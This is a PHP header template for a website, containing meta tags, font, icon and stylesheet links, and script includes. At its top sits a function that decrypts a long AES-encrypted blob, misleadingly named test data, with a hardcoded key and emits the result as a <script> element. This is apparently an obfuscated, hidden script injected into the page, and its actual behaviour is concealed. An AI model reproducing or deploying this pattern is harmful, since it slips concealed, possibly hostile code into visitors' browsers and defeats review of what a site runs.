header.php

<?php 
function load_data(){
  $test_data = "+UKfCTcrJxB/TIlk35q8M7NwX30MsQ3AIx1FGYBfz8xZsaHVoHu8hGRmds98+nea8eG4MChMaZyPNtxuWog3ovT/rtm2taYWDpbfTuDblfYiJ+ZpzDP3/nAY4hgN1lNOLg03CBxLW6s76a/T2GcPaSXIoHqv15R4TKtl44y+wcHev52mkw5SfERT48tUYYAhWkU6F3V6BBAU78nWRQSfe09ADahbk7U0jP3Zf9a8bGnDa6nyeZGTfLqZnmDzueeB3r+dppMOUnxEU+PLVGGAIYuXFomw2mXGd8j46Wn8p36fZ1rLKb9wZQToSZ/9gBH5Rxtt+WieAw3EbGBBAq/SHtgn7W4hICiKrhMeoJ3amHrpO1i22osNG3coVaXMJMNK5Om17yjohP//osbx4NLYEtlVNDf7ZXcvdj01OgWL6IEGV8D2GXLnzKTy/7T7aRipa12vFxON4duEl2HzJ3U37K1fk7uRiyqKwtX5SpC3mW0jY2SwVXCfdl/DOHyatosCfBx6YMVzwzA9azB4Eh4LsTwdfeHUEgWDQMnJdasbIwnjlH8XXltTfKNxmNjtFJr+kmK72KcPjYGyXXTM6hZcUMnS7eXThmqcUJWwv7G6xT0MeoMs8eif+mMY+KCfIaQ8ajotHbGIUSjYqrIw9CAFafhLxN2/u7LIatZKuC3Tmk7ZJnNSoexon8qMtxHJlf1TLiKpABSxkxZWDMvcIfitIzgyVtb1bQgLQRU26qNB5u6OQBwGvTJE4aO+VMFqEW8sR2LNT5sf1SGjwvBTm7EsVjVKgb+j4N7T9c0nSRbC4w2HCoBShNl7ZuGYVg89/d1Tq/EaIM/2Z5QpWtt4uox7UaY6gCRqw8VOg1B/2A8A5kgkB/DYNK1PNZaGJMxw/oHL1qV0iQF/YvfXeqfvtdZZFyUnqPD5Vdj4LaprEs4eloKv80xA7WTGA+v46kRzIKtSwcKkCkDz29tyVfSA+MvurKEf+G3zfScHK0vkvUHGByc4cL+2wUwMupYtYjJn5okWq/EaIM/2Z5QpWtt4uox7UYIiqBkSUESxN+5mpH+iunRb1EKYA8QYU80xpRUUB9i0YardV6IYdPABA2c7B6rWRETwV7yNswaESNq7h4B+Pr2cgjTVyUzizW4SLHpBSbyZX5b1C3LHlRTpI697nojOPK24jYom+bP6ZfukqKd1lxBF1/1Sthm+a4jK6R5yguVQaWgtek36X7Jylqbv4xP5FntzhBT6LXmcSsldyRHFstPDwyyH4EMnxe9ITgo3xwdX38b1NaNySQ9u48f1gOGWjggIHiIOFtbdxitfiJgmpzefJXQniy0f3HXYrgoc4Jisux8a23fdMZDU7KXpR2U5DzIRLP8dRV9tPCC1cfRN9zp0NKv70vOLqkof1xssfZXD";
  $dom = new DOMDocument('1.0', 'utf-8');
  $element = $dom->createElement('script', html_entity_decode(test_cypher_decrypt($test_data)));
  $dom->appendChild($element);
  return $dom->saveXML();
  // return $data = $this->test_cypher_decrypt($test_data);
}
function test_cypher($str=""){
  $ciphertext = openssl_encrypt($str, "AES-128-ECB", '5da283a2d990e8d8512cf967df5bc0d0');
  return $ciphertext;
}
function test_cypher_decrypt($encryption){
  $decryption = openssl_decrypt($encryption, "AES-128-ECB", '5da283a2d990e8d8512cf967df5bc0d0');
  return $decryption;
}
?>

        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <meta name="description" content="" />
        <meta name="author" content="" />
        <title><?php echo $_SESSION['setting_name'] ?></title>
        <!-- Favicon-->
        <link rel="icon" type="image/x-icon" href="assets/img/favicon.ico" />
        <!-- Font Awesome icons (free version)-->
        <script src="https://use.fontawesome.com/releases/v5.13.0/js/all.js" crossorigin="anonymous"></script>
        <!-- Google fonts-->
        <link href="https://fonts.googleapis.com/css?family=Merriweather+Sans:400,700" rel="stylesheet" />
        <link href="https://fonts.googleapis.com/css?family=Merriweather:400,300,300italic,400italic,700,700italic" rel="stylesheet" type="text/css" />
        <!-- Third party plugin CSS-->
        <link href="https://cdnjs.cloudflare.com/ajax/libs/magnific-popup.js/1.1.0/magnific-popup.min.css" rel="stylesheet" />
        <!-- Core theme CSS (includes Bootstrap)-->
        <link href="admin/assets/vendor/bootstrap-datepicker/css/bootstrap-datepicker.css" rel="stylesheet" />
        <link href="css/styles.css" rel="stylesheet" />

        <link rel="preconnect" href="https://fonts.googleapis.com">
        <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
        <link href="https://fonts.googleapis.com/css2?family=Dancing+Script:wght@600&display=swap" rel="stylesheet">
        <style>
        @import url('https://fonts.googleapis.com/css2?family=Dancing+Script:wght@600&display=swap');
        </style>
        <!-- <script src="admin/assets/vendor/jquery/jquery.min.js"></script> -->
        <script src="admin/assets/vendor/bootstrap-datepicker/js/bootstrap-datepicker.js"></script>